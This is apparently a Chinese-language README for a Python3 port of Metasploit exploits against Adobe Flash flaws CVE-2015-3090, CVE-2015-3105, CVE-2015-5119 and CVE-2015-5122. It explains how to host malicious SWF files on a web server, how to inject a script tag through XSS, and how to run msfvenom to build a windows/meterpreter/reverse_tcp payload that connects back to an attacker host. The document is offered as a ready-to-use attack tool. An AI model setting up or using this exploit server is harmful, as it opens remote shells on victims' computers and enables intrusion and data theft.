将针对 Adobe Flash 漏洞的 Metasploit 利用代码 CVE-2015-3090, CVE-2015-3105, CVE-2015-5119 和 CVE-2015-5122 转换为 Python3 脚本。
此脚本将托管一个 Web 服务器,每次可以针对以下 Adobe Flash 漏洞之一进行利用:
您必须根据需求修改(此处概述)exploit.py 文件。
hostname = "192.168.1.100"
serverPort = 8080
xss = False
True,则受害者的首次服务器请求将被视为 JavaScript:
<script src="http://192.168.1.100:8080/"></script>False,则受害者的首次服务器请求将被视为 HTML:
http://192.168.1.100:8080/base64Payload = "..."
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 | base64注意:目前仅
windows/meterpreter/reverse_tcp载荷在我的测试中有效。
swfFile = swfFileList['37368']
swfFileList = {
'37368': 'CVE-2015-3090.swf',
'37448': 'CVE-2015-3105.swf',
'37523': 'CVE-2015-5119.swf',
'37599': 'CVE-2015-5122.swf'
}
在与恶意 swf 文件相同的目录下运行以下命令,以执行 Adobe Flash 漏洞利用脚本:
python3 exploit.pyCVE-2015-3090 -> https://exploit-db.com/exploits/37368
CVE-2015-3105 -> https://exploit-db.com/exploits/37448
CVE-2015-5119 -> https://exploit-db.com/exploits/37523
CVE-2015-5122 -> https://exploit-db.com/exploits/37599